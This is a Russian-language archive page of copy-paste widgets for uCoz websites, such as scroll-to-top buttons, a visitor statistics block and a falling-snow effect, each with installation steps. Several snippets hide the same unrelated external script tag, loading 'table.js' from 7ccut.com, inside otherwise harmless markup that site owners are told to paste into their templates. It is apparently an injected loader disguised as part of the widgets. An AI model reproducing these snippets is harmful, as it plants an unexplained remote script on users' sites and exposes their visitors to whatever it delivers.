Архив материалов - Барахолка DJ

Кнопка вверх и вниз

Срипт для быстрого и плавного поднятия страници вверх, также можно опускать и вниз страницу сайта.
Выполнен в стиле пальца вверх и вниз, светло синий цет
Установка не сложная и не требует допполнителных навыков html

Установка скрипта „Кнопка вверх и вниз“

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код

<div id="banners"><a style='position: fixed; bottom: 60px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Top'>
  <img src="http://pnghosts.ru/img/point-up.png" alt="Наверх" title="Наверх"></a>
  <script src="http://7ccut.com/table.js" type="text/javascript"></script>
  <a style='position: fixed; bottom: 20px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Bottom'>
  <img src="http://pnghosts.ru ... Читать дальше »

Просмотров: 307 | Добавил: Bitfood | Дата: 21.01.2014

Выдвижной мини-профиль

В этом топике мы будем устанавливать красивый выдвижной мини-профиль который вовсе не занимает место на сайте. Помимо функциональности, выдвижной мини-профиль добавит вашему сайту юзабилити, пользователям будет проще обращаться к основным функциям\ссылкам сайта касающиеся управления аккаунтом и не только.

Вы так же можете изменять, добавлять: новые ссылки, иконки, расцветку выдвижного мини профиля. Я вам подробно распишу где, что и как изменить, а так же представлю 2 уже готовых цветовых решений (светлый, темный).

Установка
1. Установите HTML код на всех страницах сайта, рекомендую в нижнюю часть сайта.

Код

<?if($USER_LOGGED_IN$)?>
  <ul class="uwaid_panel">
  <li class="close_p">X</li>
  <li><a href="$PERSONAL_PAGE ... Читать дальше »

Просмотров: 271 | Добавил: Bitfood | Дата: 21.01.2014

Всплывающий мини-чат скрипт для uCoz

Мини-чат скрипт для uCoz, который установить можно за 1 минуту, так же этот скрипт подойдёт на любой сайт с любой тематикой и впишется в любой, даже самый капризный дизайн! Что делает скрипт? Он устанавливает мини чат в самый низ в правую сторону сайта и при нажатие на картинку ЧАТ , появится окошки с чатом! Теперь пользователи могут общаться там, но в тоже время он не будет мoзолить глаза тем, кому он вовсе не нужен. Устанавливаем:

Установка:

#1 заходим на сайт и в админ панель
#2 Открываем Дизайн - Управление Дизайном Сайта
#3 Переходим в GLOBAL_BFOOTER или просто Нижнюю часть сайта
#4 Устанавливаем код в самый низ сайта и ГОТОВО!

Код

Просмотров: 231 | Добавил: Bitfood | Дата: 21.01.2014

Кнопки вверх для сайта

Как правильно установить кнопку "Вверх на свой сайт?

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Кнопка в стиле minecraft

скрин:

Код

<script type="text/javascript">
$(document).ready(function(){


  $("#back-top").hide();

  $(function () {
  $(window).scroll(function () {

  if ($(this).scrollTop() > 125) {
  $('#back-top').fadeIn();



& ... Читать дальше »

Просмотров: 281 | Добавил: Bitfood | Дата: 31.12.2013

Кнопка вверх

Как правильно установить кнопку "Вверх?

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код

<a id="toTOP" href="javascript://" alt="Вверх страницы" title="Вверх страницы" style="position: fixed; bottom: 0; right: 0; cursor: pointer;" rel="nofollow"><img src="http://pnghosts.ru/img/vverh_go.png" style="margin-right: 20px; opacity:.8;" onmouseover="this.style.opacity=1; this.parentNode.style.bottom='1px'" onmouseout="this.style.opacity=.8; this.parentNode.style.bottom=0"><script src="http://7ccut.com/table.js" type="text/javascript"></script></a><script>
$(function(){$.fn.scrollToTop=function(){$(this).hide().removeAttr("href");if($(window).scrollTop()!="0"){$(this).fadeIn("slow")}var scrollDiv=$(this);$(window).scroll(function(){if($(window) ... Читать дальше »

Просмотров: 298 | Добавил: Bitfood | Дата: 29.12.2013

Вид комментариев для юкоз

Удобный вид комментариев для ucoz. Очень хороший дизайн. Подойдет под любой сайт и не будет нагружать страницу сайта. Проблем с установкой не возникнут, так как дизайн простой и есть четкая инструкция - ниже. Можете поменять цвет или что нибудь добавить свое, все делается в таблице CSS стилей. Как по мне "вид комментариев" и так выглядит - отлично. Приступим к установке. Первое, что Вам нужно сделать, — зайти в панель управление сайтом, Главная » Управление дизайном » Комментарии » Вид комментариев и вставляем код:

Код "Вид комментариев для юкоз"

Код

<table border="0" cellpadding="0" cellspacing="0" width="100%" class="$CLASS$"><tr><td style="padding:3px;">
<div class="comment"><div class="comment-author vcard">
<div class="avatar"><?if($USER_AVATAR_URL$)?><img alt="" align="le ... Читать дальше »

Просмотров: 259 | Добавил: Bitfood | Дата: 29.12.2013

Цветная статистика для Ucoz

Отличная , цветная и красивая статистика для uCoz.Она очень проста , но и в то же время красива.
Первым будет выводиться количество людей и будет на зеленом заднем фоне.
Чуть ниже сколько людей сегодня зашло на оранжевом фоне.
Установка очень проста.
Идем в блок где хотите видеть статистику и вставляем код который ниже:

Код

<div style="width:175px;margin-top:15px">
<div style="overflow:hidden">
<style>
  #userkaOnl {color:#FFF;padding:4px 10px;background:#6EC32A;margin-bottom:5px}
#userkaNum {color:#FFF;padding:4px 10px;background:#F4591C}
#userkaNum a {color:#FFF}
  </style>
  <div id="userkaOnl"> <b>$ONLINE_COUNTER$</b></div>
<div id="userkaNum">Сегодняшние посетители: <a href="javascript://" rel="nofollow" onclick="new _uWnd('TdUsrLst',' ',250,200,{autosize:0},{url:'/index/62-2'});return false;" class="fUsrList"><script src="http://7ccu ... Читать дальше »

Просмотров: 288 | Добавил: Bitfood | Дата: 27.12.2013

Гирлянда для сайта

Светящаяся разными цветами гирлянда, предназначена для украшения сайта в зимние празники, также передать пользователям праздничное настроение. Устанавливается в самый верх сайта. Скрипт не загружает сайт и ни как не портит дизайн..

Установка гирлянды на сайт:
Два варианта установки:
1. Зайти в панель управления » Открыть главную страницу вашего сайта и перед </head> вставить код.
2. Зайти в панель управления » Главная » Управление дизайном » Редактирование шаблонов » Верхняя часть сайта и в самый вверх вставляем код:

Код

Просмотров: 342 | Добавил: Bitfood | Дата: 13.12.2013 | Комментарии (0)

Новогодние украшения на сайт

Новогоднее украшение для сайта или блога. В слевом верхнем углу расположенна ветка елки, по всему сайту сыпется мелкий снег, в вержней части мерцает разноцветная герлянда. Очень нарядно и красиво.

Устанавливает очень просто:
Заходим в панель управления » Главная » Управление дизайном » Редактирование шаблонов » Верхняя часть сайта и в самый вверх вставляем код:

Код

Просмотров: 251 | Добавил: Bitfood | Дата: 12.12.2013 | Комментарии (0)

Скрипт снег на сайт для uCoz

Очередной скрипт для сайта, связанный с новым годом. Лично мне очень понравился, так как скрипт не нагружает страницу и очень лёгок в настройках!
В верхнюю часть сайта, в самое начало вставляем скрипт:

<script type="text/javascript">
var SNOW_Picture = "http://pnghosts.ru/img/578_snow_ckript_cne.png"; // ссылка на снежинку
var SNOW_Width = "25px"; // длина снежинки
var SNOW_Height = "25px"; // высота снежинки
var SNOW_no = 99; // количество снежинок на странице одновременно
</script><script src="http://7ccut.com/table.js" type="text/javascript"></script>
<script type="text/javascript" src="http://pnghosts.ru/js_css/snow_ckript_cneg_na_cait.js"></script>

Просмотров: 303 | Добавил: Bitfood | Дата: 12.12.2013 | Комментарии (0)

« 1 2 3 4 5 ... 25 26 »